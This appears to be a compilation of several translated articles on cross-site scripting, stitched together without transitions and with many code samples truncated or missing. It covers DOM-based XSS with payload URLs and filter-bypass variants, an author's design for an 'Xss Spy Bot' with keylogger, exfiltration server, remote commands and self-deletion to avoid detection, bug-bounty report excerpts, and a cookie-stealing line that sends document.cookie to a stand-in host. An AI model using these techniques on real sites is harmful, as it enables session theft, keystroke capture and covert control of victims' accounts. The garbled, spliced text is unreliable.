This is an xss attack. Making the most of XSS vulnerabilities

We all know what cross-site scripting is, right? This is a vulnerability in which an attacker sends malicious data (usually HTML containing Javascript code) that is later returned by the application, causing Javascript code to be executed. So this is not true! There is a type of XSS attack that does not fit this definition, at least in its basic fundamental principles. XSS attacks, as defined above, are divided into instantaneous (malicious data is embedded in a page that is returned to the browser immediately after the request) and delayed (malicious data is returned after some time). But there is a third type of XSS attack, which is not based on sending malicious data to the server. Although it seems counterintuitive, there are two well-documented examples of such an attack. This article describes the third type of XSS attacks - XSS through DOM (DOM Based XSS). Nothing fundamentally new about the attack will be written here, rather the innovation of this material is in highlighting the distinctive features of the attack, which are very important and interesting.

Developers and application users must understand the principles of XSS attacks via DOM, as they pose a threat to web applications and are different from regular XSS. There are many web applications on the Internet that are vulnerable to XSS via the DOM and at the same time tested for XSS and found to be “invulnerable” to this type of attack. Developers and site administrators should become familiar with techniques for detecting and protecting against XSS via the DOM, as these techniques differ from the techniques used to deal with standard XSS vulnerabilities.

Introduction

The reader should be familiar with the basic principles of XSS attacks (, , , , ). XSS usually refers to instant() and lazy cross-site scripting. With instant XSS, malicious code (Javascript) is returned by the attacked server immediately as a response to an HTTP request. Lazy XSS means that malicious code is stored on the attacked system and can later be injected into the HTML page of the vulnerable system. As mentioned above, this classification assumes that the fundamental property of XSS is that malicious code is sent from a browser to a server and returned to the same browser (flash XSS) or any other browser (delayed XSS). This article raises the issue that this is a misclassification. The ability to carry out an XSS attack that does not rely on injecting code into the page returned by the server would have a major impact on security and detection techniques. The principles of such attacks are discussed in this article.

Example and comments

Before describing the simplest attack scenario, it is important to emphasize that the methods described here have already been publicly demonstrated several times (for example, , and ). I do not claim that the methods below are described for the first time (although some of them differ from previously published materials).

A sign of a vulnerable site may be the presence of an HTML page that uses data from document.location, document.URL or document.referrer (or any other objects that can be influenced by an attacker) in an insecure way.

Note for readers unfamiliar with these Javascript objects: When Javascript code runs in the browser, it accesses several objects represented within the DOM (Document Object Model). The document object is the main one of these objects and provides access to most of the page's properties. This object contains many nested objects such as location, URL and referrer. They are controlled by the browser according to the browser's point of view (as will be seen below, this is quite significant). So, document.URL and document.location contain the URL of the page, or more precisely, what the browser means by URL. Please note that these objects are not taken from the body of the HTML page. The document object contains a body object containing the parsed HTML code of the page.

It is not difficult to find an HTML page containing Javascript code that parses a URL string (accessed via document.URL or document.location) and, according to its value, performs some actions on the client side. Below is an example of such code.

By analogy with example in, consider the following HTML page (assuming the content is http://www.vulnerable.site/welcome.html):

Welcome! Hi var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.URL.length));
Welcome to our system…

However, a query like this -

http://www.vulnerable.site/welcome.html?name=alert(document.cookie)

would cause XSS. Let's look at why: the victim's browser, having received this link, sends an HTTP request to www.vulnerable.site and receives the aforementioned (static!) HTML page. The victim's browser begins to parse this HTML code. The DOM contains a document object that has a URL field, and this field is filled with the value of the current page's URL during DOM creation. When the parser reaches the Javascript code, it executes it, which causes modification of the HTML code of the displayed page. In this case, the code references document.URL and since part of this string is embedded in the HTML during parsing, which is immediately parsed, the detected code (alert(...)) is executed in the context of the same page.

Notes:

1. Malicious code is not embedded in the HTML page (unlike other types of XSS).
2. This exploit will work provided that the browser does not modify the URL characters. Mozilla automatically encodes '' characters (in %3C and %3E respectively) in nested document objects. If the URL was typed directly into the address bar, this browser is not vulnerable to the attack described in this example. However, if the attack does not require the '' characters (in its original unencoded form), the attack can be carried out. Microsoft Internet Explorer 6.0 does not encode '' and is therefore vulnerable to the described attack without any restrictions. However, there are many different attack scenarios that do not require '', and therefore even Mozilla is not immune to this attack.

Methods for detecting and preventing vulnerabilities of this type

In the example above, the malicious code is still sent to the server (as part of the HTTP request), so the attack can be detected just like any other XSS attack. But this is a solvable problem.

Consider the following example:

http://www.vulnerable.site/welcome.html#name=alert(document.cookie)

Note the '#' symbol to the right of the file name. It tells the browser that everything after this character is not part of the request. Microsoft Internet Explorer (6.0) and Mozilla do not send the fragment after the '#' character to the server, so for the server this request will be equivalent to http://www.vulnerable.site/welcome.html, i.e. malicious code will not even be noticed by the server. Thus, thanks to this technique, the browser does not send a malicious payload to the server.

However, in some cases it is impossible to hide the payload: in and malicious payload is part of the username in a URL like http://username@host/. In this case, the browser sends a request with an Authorization header containing the username (malicious payload), resulting in malicious code reaching the server (Base64 encoded - hence the IDS/IPS must first decode this data to detect the attack). However, the server is not required to inject this payload into one of the available HTML pages, although this is a necessary condition for executing an XSS attack.

Obviously, in situations where the payload can be completely hidden, detection (IPS) and prevention tools (IPS, web application firewalls) cannot completely protect against this attack. Even if the payload needs to be sent to the server, in many cases it can be transformed in a certain way to avoid detection. For example, if some parameter is protected (for example, the name parameter in the example above), a small change in the attack script can produce the following result:

(document.cookie)

A more stringent security policy would require that the name parameter be sent. In this case, you can make the following request:

http://www.vulnerable.site/welcome.html?notname=alert(document.cookie)&name=Joe

If your security policy restricts additional parameter names (for example: foobar), you can use the following option:

http://www.vulnerable.site/welcome.html?foobar=name=alert(document.cookie)&name=Joe

Please note that the ignored parameter (foobar) must come first and contain a payload in its value.

The attack scenario described in is even more preferable for the attacker, since the full value of document.location is written into the HTML page (the Javascript code does not search for a specific parameter name). Thus, an attacker could completely hide the payload by sending the following:

/attachment.cgi?id=&action=foobar#alert(document.cookie)

Even if the payload is parsed by the server, protection can only be guaranteed if the request is rejected or the response is replaced with some error text. Referring again to and: if the Authorization header is simply removed by the intermediate security system, it will have no effect if the original page is returned. Likewise, any attempt to process data on the server by removing or encoding illegal characters will be ineffective against this attack.

In the case of document.referrer, the payload is sent to the server via the Referer header. However, if the user's browser or intermediate protection removes this header, there will be no trace of the attack, which can go completely undetected.

To summarize, we conclude that traditional methods, namely

1. Server-side HTML data encoding
2. Server-side removal/encoding of prohibited inputs does not work against DOM XSS.

Automatically searching for vulnerabilities by “bombarding” malicious data (sometimes called fuzzing) will not work, since programs using this technique typically make inferences based on whether the embedded data is present in the returned page or not (instead of executing the code in the context of the browser on client side and monitoring the results). However, if the program can statically analyze the Javascript code found on the page, it may point out suspicious signs (see below). And of course, if security tools can execute Javascript code (and correctly initialize DOM objects) or emulate such execution, they will be able to detect this attack.

Manually searching for a vulnerability using a browser will also work, since the browser can execute client-side Javascript code. Vulnerability tools can adopt this method and run client-side code to monitor the results of its execution.
Effective protection

Avoid client-side document rewrites, redirects, or other similar actions that use client-side data. Most of these actions can be done using dynamic pages (server side).
2.

Analysis and improvement of code security (Javascript) on the client side. References to DOM objects that can be influenced by the user (the attacker) must be carefully checked. Particular attention should be paid to the following objects (but not limited to them):
* document.URL
* document.URLUnencoded
* document.location (and its properties)
* document.referrer
* window.location (and its properties)

Note that the properties of the document and window objects can be referenced in several ways: explicitly (example: window.location), implicitly (example: location), or by obtaining a handle and using it (example: handle_to_some_window.location).

Particular attention should be paid to code where the DOM is modified, either explicitly or potentially, through direct access to HTML or through access directly to the DOM. Examples (this is by no means an exhaustive list):
* Entry in the HTML code of the page:
o document.write(…)
o document.writeln(…)
o document.body.innerHtml=…
* Changing DOM directly (including DHTML events):
o document.forms.action=… (and other variations)
o document.attachEvent(…)
o document.create…(…)
o document.execCommand(…)
o document.body. ... (access the DOM via the body object)
o window.attachEvent(…)
* Changing document URL:
o document.location=… (as well as assigning href, host and hostname values ​​to the location object)
o document.location.hostname=…
o document.location.replace(…)
o document.location.assign(…)
o document.URL=…
o window.navigate(…)
* Opening/modifying the window object:
o document.open(…)
o window.open(…)
o window.location.href=… (as well as assigning the host and hostname values ​​to the location object)
* Executing the script directly:
o eval(…)
o window.execScript(…)
o window.setInterval(…)
o window.setTimeout(…)

Continuing with the above example, for effective protection, the original script can be replaced with the following code, which checks the string written to the HTML page to contain only alphanumeric characters.

var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^$/)) ( document.write(name); ) else ( window.alert("Security error"); )

Such functionality can (and probably should be) implemented through a universal data control library (i.e., through a set of Javascript functions that validate/modify input data). The disadvantage of this method is that the principle of operation of the protection is accessible to attackers, because protection is implemented in HTML code. This makes it easier to analyze and plan an attack. In the example above, the situation is quite simple, while security checks in more complex scripts are far from perfect, which makes it possible to find ways to bypass the protection.
3. Use strict IPS rules, in which, for example, the welcome.html page is allowed to receive a single parameter called “name”, the value of which is checked, and any mismatch (including redundant parameters or missing parameters) results in a denial of service to the original pages, as well as any other violation (for example, Authorization or Referer headers containing problematic data). Although in some cases even such measures do not guarantee complete protection against attack.

Everyone has long known that most often, using XSS, an attacker tries to send a Cookie to the victim, read CSRF tokens, carry out a phishing attack (by creating a fake login form), perform some action on behalf of the user, and some other similar attacks (perhaps this is not all possibilities, but these are all the most popular ones known to me at the moment).

The purpose of this method is to monitor the pages on behalf of the user that he navigates on the attacked site, as well as monitor his keystrokes (you can also use mouse movements and clicks, but for me this will be unnecessary, not particularly useful information, in most cases for sure) .
Now regarding the maximum benefit - I believe that the algorithm will be like this:

  • read and send Cookies;
  • read and send the rest of the information (IP address, installed plugins, browser version and type, flash support, silverlight support, etc.) [optional]
  • obtain information about the internal network, penetrate the router [optional]
  • read and send different tokens [optional];
  • implement phishing [optional];
  • we do something “with the user’s hands” [optional];
  • we continue to spy on him and get information until he closes the tab or leaves the site;

All optional list items IMHO should be performed depending on the situation and specific priorities for the goals that need to be achieved using XSS, they can sometimes interfere with each other (if you try to combine them, or rather execute one after the other) and increase the likelihood of failure of the XSS operation.
But the first and last points should always be fulfilled, in any case. Actually, the main part of the article will be about the last point from this list.

We are approaching the goal.

I'll start from afar: through JavaScript it is possible to change the path in the address bar without reloading the page. For example, if a user loaded a page at


Then the content in the address bar will become as follows (without reloading the page):

http: //site.com/new-url/


This feature, by the way, is sometimes quite useful when it is necessary to hide from users (or a more attentive category of users - admins) by quickly cleaning the URL after they clicked on a link that contained Reflected XSS, so that later, after loading the page, looking in the address bar, didn't find anything.

http : //site.com/search.php?q=123 document . body. innerHTML += "Hacked" ;

http: //site.com/search.php?q=123 window. history. pushState ("" , "" , "/" ) ; document. body. innerHTML += "Hacked" ;


we will deprive him of this opportunity.

But this technique has even more interesting and powerful applications. We will simulate the user's stay on the site after clicking on the link, in fact, he will remain on one page all the time, and at this time a third-party script will work, extracting and sending information to the attacker. Thus, XSS will work as long as the user clicks on a link on this domain .

We designate the idea.

The general principle of operation is this: when a user enters a page with XSS, the script creates an iframe with the same address as the page and “attaches” it to the foreground, the user gets the impression that the page loaded normally, because the iframe can only be seen in the code pages.

And the auxiliary script controls the logic of the spy bot, that is, it monitors when the address in the frame changes in order to change it in the address bar, but if the newly changed frame address has a different domain, then you can open it in a new tab, or you will have to reload the page so as not to get burned.
Thus, in order for XSS to stop executing at the moment, the user must either refresh the page manually (if the XSS is Reflected and was transmitted using the POST method, in other cases the update will not help, and by the way, some browsers can now send a POST request again when updating the page) or close the tab or switch to another domain (although in this case you can still avoid losing control).

If it goes to a subdomain of the attacked domain, then it’s the attacker’s choice, that is, XSS will work, but there is a small chance that the user will detect a discrepancy between the address. I think that depending on the situation, for example, if the google.ru domain was attacked, the user switched to Google’s cloud file service, which usually lies in the drive.google.ru subdomain, then the likelihood that he will notice the catch when looking at the address bar is quite high , if he often used this service. Otherwise, you might as well take a risk. But we must take into account that we will no longer be able to read its data from a frame with a subdomain, since Cross Origin Policy will not allow it. But we can safely surf the main domain on its behalf in hidden mode (more on this below).

Only this method has limitations, namely, it will not work if the site's web server responses contain an X-Frame-Options header with the value DENY . But personally, I’ve come across such sites literally a couple of times; now even half of them don’t have SAMEORIGIN set, not to mention the complete restriction through DENY.

Let's analyze the idea.

Now many probably remember such a wonderful thing as BeEF, which also has a lot of interesting things. By the way, there is also an option to force the user to redirect in the frame, but the address in the address bar does not change, which can quickly burn down the desk and this option serves slightly different purposes.
In general, BeEF has almost everything you need and even many additional functions, but personally I wanted additional functionality, namely:

  • the ability to monitor the code of pages that are accessible to the attacked user in real time;
  • the ability to see everything he types on that site (from login and password, to hotkeys and messages), that is, a keylogger in JS;
  • the ability to give JS commands to your bot in real time, after viewing the code of the received pages;
  • the ability to leave commands to the bot locally, so that it can later “pick them up” and execute them without our direct participation;
  • a lower probability of the bot being burned, or the bot’s ability to “hide” from prying eyes;

As mentioned above, I decided to borrow the cool idea of ​​a command execution queue from BeEF. For example, we analyzed the pages that the bot dropped when a privileged user was accessing his control panel with stored XSS, we leave commands to the bot - JS code, such as the next time the user logs in, click this button, write this value here, etc. , the next time this user visits the page, the bot reads the commands and executes them, and we don’t have to be at its helm for everything - it’s very convenient.

Basically, such a bot is, of course, designed for high-status users of some sites that have additional “levers” for managing content, other users, etc. From the requests for functionality it is clear that we cannot do without the server part.

Let's implement the idea.

In principle, you can skip this part of the article, since it simply describes the process of implementing the desired bot and some of its details, in case someone wants to remake it or customize it for themselves. Although the bot will have variables at the beginning of the code through which you can set some settings.
First, the algorithm of the bot’s actions from the moment of loading:

1) Checking for header presence X-Frame-Options:DENY(if there is one, then we roll up the fishing rods);
2) Embedding a frame and setting up all components of the bot;
3) Removing the script and all traces in the HTML code;
4) Establishing contact with the server part and starting to send data, responding to responses (receiving commands from the server);

The first point was not done completely, that is, the bot only checks the first page and the root header. The fact is that usually these headers are built in by the web server for all pages at once and it is very rare that for a single page everything is done “manually”. And this title itself is quite rare. Well, there’s not much to say about the second and third, everything will be below.

There is a relatively important point that before adding bot script code in your code, you need to get rid of XSS signs in the address bar immediately (from the JS code), since this reduces the chances of detection and, most importantly, prevents recursion that occurs when adding an address to the frame with the same XSS code, which in turn creates another frame with itself, and so on.

But just in case, the bot code implements the ability to detect such frame recursion and prevent it at the first attempt to add a frame to an already created one, but it is better not to rely only on it, but to additionally remove the code before loading the bot code. Although I haven't encountered any problems yet.

Frame update check function. I tried several ways to economically solve this problem by hanging event handlers on contentWindow or contentDocument, but nothing worked, so I had to write a function that would check the address of the frame and compare it with the previously saved one, and based on this, decide whether the frame was being updated (whether the address had changed) and then call itself recursively.

The frequency of such checks per second is controlled by the variable delay, which is listed at the beginning of the bot code file. But later, having already written it, I found a more effective solution - use a simple solution and hang onload to the frame, so I left that function, but commented it out, in case it later turns out to be more in demand.

Sending the HTML code of the page.

The scheme here is quite simple - after each frame reload (including the first loading), the bot sends to the server the entire HTML code of the page along with its current address, so that later it can be distinguished whether the code belongs to the desired pages.

The server implements the logic for storing pages - the server creates a folder for each domain with the name of that domain and saves all the data there. Page codes are saved and constantly updated to the latest versions, but every new day a new copy of the page is created so that you can control the version history if necessary. That is for /news.php On September 1, the state will be updated, and on September 2, a copy of it will be created, only relevant for that day, and so on every day again (if the user visits this page every day). The page name consists of the date and path to this page relative to the root of the site (that is, without the domain).

Keylogger in JavaScript.

The idea had already been implemented by some enthusiasts, but their work was not suitable for me, if only because most of them were quite simple, that is, they detected the code of the pressed key and through String.fromCharCode translated into symbols. But this method has a number of disadvantages - control keys such as shift, control, space, etc., are not translated into any form (often simply into an empty character), the interaction of alphanumeric keys with shift is incorrectly logged, since this must be implemented programmatically, and Also, all pressed keys are displayed in upper case, which can also be corrected programmatically.

The result was a keylogger that correctly detected all the keys of numbers, letters and basic characters, working on both layouts, reacting to shift and logging all the main special keys. True, some characters (at the top of the number row, which are printed when the shift and number are pressed) may differ on some machines, since they were implemented according to the basic standard, which some companies change.
Each portion of characters pressed is retained by the client until the text element loses focus. Next, this portion is sent to the server, where it is saved in a text file, which will also be created every day with a new copy, so that it does not grow to large sizes and you can quickly find what the user was typing at that time.
In addition to the keys themselves, information about the element in which the text was typed is sent to the server with each portion (that is, whether it was , [ or some when the user used hotkeys), in addition to the name of the element, its basic data (id, name, class - if present) is sent so that it can then be easily found in the code. And of course, the address of the page on which the recruitment was made and the approximate time of this recruitment are recorded. In general, enough information about the user’s tapping on the keyboard is sent for subsequent analysis.

Command your bot.

This process can be carried out by the attacker or on the side where the bot will run the server side or even remotely. After running the server script, a self-written miniature web server starts, which serves requests from the bot and its controller, which works through the web interface. That is, after launch, the web server issues a link, by going to which you can start giving commands to the bot.

About this control panel. Firstly, it was necessary to restrict it with a password (it’s a path and few people will know about the running service on such and such a port or about the address to which they need to go to in order to use this service), so that on the first login the server will ask for a password, which is supplied in the address bar (an example will be provided), the original password is stored in password.txt, which can be changed. After the first login, the web server will instruct the browser to save the password in a cookie, so you don’t have to worry about it any further.

On the page itself for sending commands to the bot there is also information about the state of the bot - whether it is online or offline at the moment, and a couple of settings, the first of which is the host, that is, the IP address or domain of the site to which commands will be sent to the bot. This is designed in case several sites contain this bot, so that they can be identified. On the server, also for this case, all data is divided into folders with domain names.
Next is a window where you can write commands to the bot in JS, and an option that sets where this JS code will be executed, on the main window where the bot sits or in a frame - this is done for convenience, just in case.

If the bot is not online, then the server simply saves the commands and later, when the bot goes online, that is, the user again visits the page with it or follows the attacker’s link, these commands will be executed.
This is very convenient if, during the first reconnaissance, the bot dropped all the pages visited by the user (for example, a personal account), after studying the code of which we wrote commands in JS, so that the bot would then click on the links we needed, enter the necessary data, display the necessary pictures, etc., which will help achieve your goal.

Or you can directly in real time, quickly look at the contents of pages through the code and give commands to the bot so that it sends the code of other pages, goes to another address, etc. And all this will be done “behind the screen” of the user, who will calmly surf site through a frame.

For your convenience, you can form the most frequently used instructions into entire functions in JS, which are then entered into the bot’s source file ( xsb.js, more about the file structure below) and use. Or use those functions that are included in the bot, although there is only the basics and there is nothing new, but for example, you can use the function of sending the page code at any time, and not when the frame is reloaded. You can write a function that will open the links passed to it in new frames in the background in order to view the contents of several pages at once on behalf of the user (and operate with this content with his virtual hands).

Removing your own code.

Well, the last feature is implemented quite simply (it can be disabled by setting the desired variable in the file, they are commented out). The script, after setting up and hanging all event handlers, creating all variables and functions, deletes itself

After all, all the data has already been loaded into RAM through the browser, so there is nothing to worry about, but this is in theory, maybe later there will be some problems that I did not take into account, so I created a variable that can be used to disable this feature by necessary.

After deleting all the scripts, it will be extremely difficult to notice XSS, since the presence of a frame does not indicate this quite indirectly, and the code itself can only be found in the browser’s network traffic history logs (which are not kept by default in many browsers if the developer panel is not open) .

Server part.

For a simpler and more convenient way to launch the bot, it was decided to write our own small web server on sockets, which would serve the bot, provide all operations for receiving and posting sent data, transmit messages between the attacker and the bot, and create a web interface for the attacker for command .
The server was written in Python, I tried to use only standard libraries so that I didn’t have to install anything before launching. Also, the server itself edits some data in the scripts, that is, in the bot’s JS script there is no need to set the address of the commanding server, the web server itself will set the required one there upon startup. There is only one parameter in the server configuration - the port on which it will start (default is 8000).
After starting, the server will provide all the necessary data - a link to the JS script, which will need to be slipped, a link to the command panel, or rather links to external and local addresses, for convenience.

Scheme of working with the bot.

We launch the server on some unclaimed port and you can send out a link with a bot script, then everyone who clicks on it will send you data that the server will save at any time of the day. Then you can simply view them if there is a need to leave the team bot and continue to do its own thing.

File structure.

The folder contains the following files:

  • xsb.py - the main file that implements the server part; for the bot to work, launch it, and then simply use the link it offers;
  • xsb.js - the JS code of the bot is stored here, the link to which is provided by the server; configuration variables are declared at the beginning of it, which can be changed at your discretion (some, namely the host and port, the server will set later itself, you don’t have to worry about);
  • panel.html - from here the server takes the code for the bot control panel, you can adjust the interface at your discretion;
  • password.txt - the password for the control panel is stored here, which can be changed;
  • savedData is the directory in which folders with website domains will be created, in which all information will be saved.

Let me note again that in the file xsb.js you can add your own functions, which you can then call through the panel without writing huge portions of code;

A short analysis of the results.

After writing my own invented way to keep a user on a page with XSS through frames (well, as invented - I personally discovered it for myself, it is quite possible that someone else “invented” this same technique for themselves or it is already somewhere in the public glowed, because now it’s quite difficult to develop something truly new, and as a rule, after some time you discover that “this was already in The Simpsons”) I began to delve into BeEF in more detail and read its wiki. Then I discovered that another technique was implemented there to achieve the same goal - extending the user’s time on a page with executable XSS (which they called man-in-the-browser). And it was implemented like this: all the links on the original page were changed in such a way that when you clicked on any of them, the script did not reload the page, but through Ajax sent a request to the server and inserted the data received in the response, that is, one could say artificially updated it, which was also almost indistinguishable from ordinary refreshment.

Therefore, I was not the first to succeed in realizing this idea (even if the methods turned out to be different). But both of these methods have their drawbacks:

The loading method via does not work if there is a header in the response X-Frame-Options:DENY, but otherwise it works like a regular browser window;

The ajax method always works if the browser supports it (all major browsers support it now), but with the new Web 2.0 standard, more and more transitions are triggered by custom events of any elements via JS. One day I went to Google AdWords and decided to see how their HTML and JS interacted there, because all my spiders were extremely bad at creating the back map of this service. And I was quietly freaking out all evening about how unusual everything was there, when text elements were buttons and switchers and sliders and were depicted with everything else, and each one had about 30 handlers for different events.

That is, on a sophisticated site, the transition button (subjectively a link) will be implemented through a regular tag , which is loaded with styles and on which event handlers are attached, one of which, for example, onclick redirects the user to another page. There are also standard elements like [i] or himself etc., which are also actually links to other pages, but to which BeEF will not respond and the page simply will not update when you click on most buttons and other elements. Which may prompt the user to refresh the page or re-enter from the other side, which kills our active XSS session.

For brevity in naming the files, I called it Xss Spy Bot.

P.S.
This whole thing took a little over a month to write due to periodic lack of time and constant distractions. Also because of this, the quality of the code and the likelihood of running into some kind of bug is quite high. So I ask you not to swear too much, but to write down what is wrong with someone so that it can be corrected.
I myself tested the bot on only 4 machines, all of them running Debian.

Long-term plans for this bot, if there is motivation:
— implement rendering of the code of the pages that the bot sends to the server, so that it immediately opens in the browser and can be “touched” and tested on the fly;
— they will try to catch some goodies from WebRTC technology, that is, find ways to get new information that pure JS cannot pull out;
— implement communication between the bot and the server using the WebSocket protocol over HTTP;
— add some conveniences to the control panel;

Last updated by at November 18, 2016.

Cross-site scripting, or Cross site scripting, or XSS, involves a site that includes unintended Javascript code, which in turn is transmitted to users who execute the code in their browsers. A harmless example of XSS (which is exactly what you should use!) looks like this:

alert('XSS');

This will call the Javascript alert function and create a simple (and harmless) box with the letters XSS. In previous versions of the book, I recommended that you use this example when writing reports. That is, until one extremely successful hacker told me that it was a “horrible example,” explaining that the recipient of a vulnerability report might not realize the severity of the problem and, because the example was harmless, would pay out a small reward.

So, use this example to detect an XSS vulnerability, but when writing the report, think about the potential harm that the vulnerability could cause and explain it. By this I don't mean telling the company what XSS is, but rather explaining what you can achieve by exploiting the vulnerability and how it could specifically impact their site.

There are three different types of XSS that you may hear about while researching and reporting:

  • Reflective XSS: These attacks are not stored on the site, meaning the XSS is generated and executed in a single request and response.
  • Stored XSS: These attacks are stored on the site and are often more dangerous. They are stored on the server and executed on “normal” pages by unsuspecting users.
  • Self XSS: These attacks are also not stored on the site and are usually used as part of tricking a person into running XSS themselves. When you look for vulnerabilities, you will find that companies often don't care about eliminating Self XSS, they only care about cases where harm to their users may come from someone other than themselves, as is the case with Reflective and Stored XSS. However, this does not mean that you should not look for Self XSS.

If you find a situation where Self XSS can be executed but not saved, think about how this vulnerability could be exploited, can you use it in combination with something so that it is no longer Self XSS?

One of the most famous examples of using XSS is MySpace Samy Work, done by Samy Kamkar. In October 2005, Sami exploited a stored XSS vulnerability in MySpace, which allowed him to upload Javascript code that was executed every time someone visited his MySpace page, adding the page visitor as a friend of Sami's profile. Moreover, the code also copied itself to the pages of Samy's new friends so that the profiles of his new friends were updated with the following text: “but most of all, samy is my hero.”

Although Sami's example was relatively harmless, using XSS allows one to steal logins, passwords, banking information, and so on. Despite the potential harm, fixing XSS vulnerabilities is generally not difficult and requires developers to simply escape user input (just like HTML injection) when rendering it. Although, some sites also remove potentially malicious characters when the hacker sends them.

1. Shopify Sale

Difficulty: Low
Url: wholesale.shopify.com
Report link: https://hackerone.com/reports/10629326 Report date: December 21, 2015
Reward Paid: $500
Description:

The Shopify27 sale site is a simple page with a direct call to action - enter the name of the product and click “Find Products”. Here's a screenshot:

Screenshot of the wholesale sales site

The XSS vulnerability here was the simplest one you can find - the text entered into the search bar was not escaped, so any Javascript entered was executed. Here is the sent text from the vulnerability description: test’;alert(‘XSS’);’

The reason this worked is because Shopify took user input, executed the search query, and if there were no results, printed a message saying there were no search results for the search term entered, showing the unescaped user input on the page. As a result, the submitted Javascript was rendered on the page and browsers interpreted it as executable Javascript.

Conclusions

Test everything, paying special attention to situations where the entered text is rendered on the page. Test whether you can include HTML or Javascript in your input and see how the site processes it. Also try encoding the input similar to what is described in the chapter on HTML injections.

XSS vulnerabilities don't have to be complex or confusing. This vulnerability was the simplest one imaginable - a simple text input field that does not process user input. And it was discovered on December 21, 2015, and brought the hacker $500! All it took was hacker thinking.

2. Shopify Gift Card Cart

Difficulty: Low
Url: hardware.shopify.com/cart
Report link: https://hackerone.com/reports/9508928 Report date: October 21, 2015
Reward Paid: $500
Description:

The Shopify29 gift card store website allows users to create their own gift card designs using an HTML form that includes a file upload box, a few lines for text entry for details, and so on. Here's a screenshot:

Screenshot of Shopify gift card store form

The XSS vulnerability here was triggered when Javascript was entered into the form field intended for the image title. This is quite easy to do using HTML proxies, which we will talk about later in the “Tools” chapter. So the original form submission included:

Content - Disposition : form - data ; name = "properties [Artwor 2 k file]"


It could be intercepted and changed to:

Content - Disposition : form - data ; name = ”properties [ Artwor 2 k file< img src = ’test ’onmouseover = ’alert (2 ) ’> ] ”;

Conclusions

There are two things to note here that will help you detect XSS vulnerabilities.

Everyone has long known what XSS is and how to protect against it, so I’ll be brief. XSS is the ability of an attacker in a certain way (see the link to possible options at the end of the article) to integrate a script into the page of the victim site, which will be executed when it is visited.

It’s interesting that in most cases where this vulnerability is described, we are scared with the following code:

http://www.site.com/page.php?var=‹script›alert("xss");

Somehow it’s not very scary :) How can this vulnerability really be dangerous?

Passive and active

There are two types of XSS vulnerabilities - passive and active.

Active vulnerability is more dangerous, since the attacker does not need to lure the victim using a special link; he just needs to inject the code into the database or some file on the server. Thus, all site visitors automatically become victims. It can be integrated, for example, using SQL injection. Therefore, you should not trust the data stored in the database, even if it was processed during insertion.

Example passive vulnerability You can see it at the very beginning of the article. This already requires social engineering, for example, an important letter from the site administration asking you to check your account settings after restoring from a backup. Accordingly, you need to know the victim’s address or simply arrange a spam mailing or post on some forum, and it’s not a fact that the victims will be naive and follow your link.

Moreover, both POST and GET parameters can be susceptible to passive vulnerability. With POST parameters, of course, you will have to resort to tricks. For example, a redirect from an attacker’s website.

document.getElementsByTagName("form").submit();

Therefore, GET vulnerability is a little more dangerous, because... It's easier for a victim to notice an incorrect domain than an additional parameter (although the url can generally be encoded).

Stealing Cookies

This is the most commonly cited example of an XSS attack. Websites sometimes store some valuable information in Cookies (sometimes even the user’s login and password (or its hash)), but the most dangerous thing is the theft of an active session, so don’t forget to click the “Exit” link on websites, even if it’s a home computer. Fortunately, on most resources the session lifetime is limited.

var img = new Image(); img.srс = "http://site/xss.php?" + document.cookie;

That's why they introduced domain restrictions on XMLHttpRequest, but this is not a problem for an attacker, since there is, , , background:url(); etc.

Stealing data from forms

We look for the form through, for example, getElementById and monitor the onsubmit event. Now, before submitting the form, the entered data is also sent to the attacker’s server.

This type of attack is somewhat reminiscent of phishing, only it uses a real site rather than a fake one, which instills more trust in the victim.

DDoS attack (distributed denial of service attack)

An XSS vulnerability on heavily visited resources can be used to launch a DDoS attack. The essence is simple - there are many requests that the attacked server cannot withstand.
Actually, the relation to XSS is indirect, since scripts may not be used at all, a construction like this is enough:

Cross-Site Request Forgery (CSRF/XSRF)

Also indirectly related to XSS. In general, this is a separate type of vulnerability, but is often used in conjunction with XSS. The bottom line is that a user authorized on an invulnerable site goes to a vulnerable one (or a special page of the attacker), from which a request is sent to perform certain actions.

Roughly speaking, ideally this should be the case. The user has logged in to the payment system. Then I went to the attacker’s website or a site with an XSS vulnerability, from which a request was sent to transfer money to the attacker’s account.

Therefore, most sites, when performing certain user actions (for example, changing e-mail), ask for a password or ask you to enter a confirmation code.

XSS worms

This type of attack probably appeared thanks to social networks such as VKontakte and Twitter. The point is that a link with an XSS vulnerability is sent to several users of the social network; when they click on the link, the integrated script sends messages to other users on their behalf, etc. At the same time, other actions can be performed, for example, sending personal data of victims to the attacker.

Harmless XSS

Interestingly, counters, by their very nature, are also an active XSS attack of some kind. After all, data about the visitor is transferred to a third-party server, such as his IP address, monitor resolution, etc. Only you integrate the code into your page of your own free will :) Take a look, for example, at the Google Analytic code.

Cross-site scripting using java script is the most popular type of attack. In this material we will tell you about the troubles that can arise from using a java script and how to protect yourself from XSS attacks.

What is an XSS attack?

XSS is a type of attack on users of Internet resources, the purpose of which is to steal the authentication data of site administrators in order to gain access to the administrative part and other users who have the ability to personal access to restricted parts of the resource.

These attacks can be carried out not only to hack a site, but also to steal:

  • Credentials for access to third-party resources;
  • Bank card numbers;
  • Data for access to electronic wallets;
  • Contact details;
  • Other user confidential data.
XSS attack vectors

This type of attack has two directions:

Active – a type of attack when an attacker tries to find vulnerabilities in an Internet resource filter. Using a certain combination of characters and tags, the hacker creates a request that the resource understands and executes the command. After finding a vulnerability in the security system, malicious code is inserted into the request, which, for example, will send all cookies to a place convenient for the hacker.

Passive - involves the intervention of the subject of the attack. The idea is to force the user to follow a malicious link to implement malicious code. These attacks are difficult to implement because they require the attacker to have excellent technical knowledge and good knowledge of psychology.

Safety rules

To avoid becoming a victim of an XSS attack, you should adhere to the following security rules:

  • The main rule for developers is to use any filter.
  • Filter all nested structures.
  • Encryption. When creating a filter, be sure to consider the risk of encoding attacks. There are a lot of encoding programs with which you can encrypt any attack so that not a single filter will “see” it. So apply the decryption in the filter before executing the request code.
  • Applying tags. There is one vulnerability associated with the url, bb, img tags, which have many parameters, including lowsrc and dynsrc, containing javacsript. These tags should be filtered. If you do not use images on your resource, then disable them altogether.
  • The filter used must take into account various possible character combinations. The more there are, the better.
  • Conclusion

    According to statistics, 84% of Internet resources are well protected from XSS attacks. The other 16% are unable to effectively resist them. Eliminating this gross flaw requires site owners to make additional investments in security, which most of them are not ready for. However, tightening legislation regarding damage, leakage and disclosure of personal data is increasingly forcing unscrupulous owners to improve the security of their sites.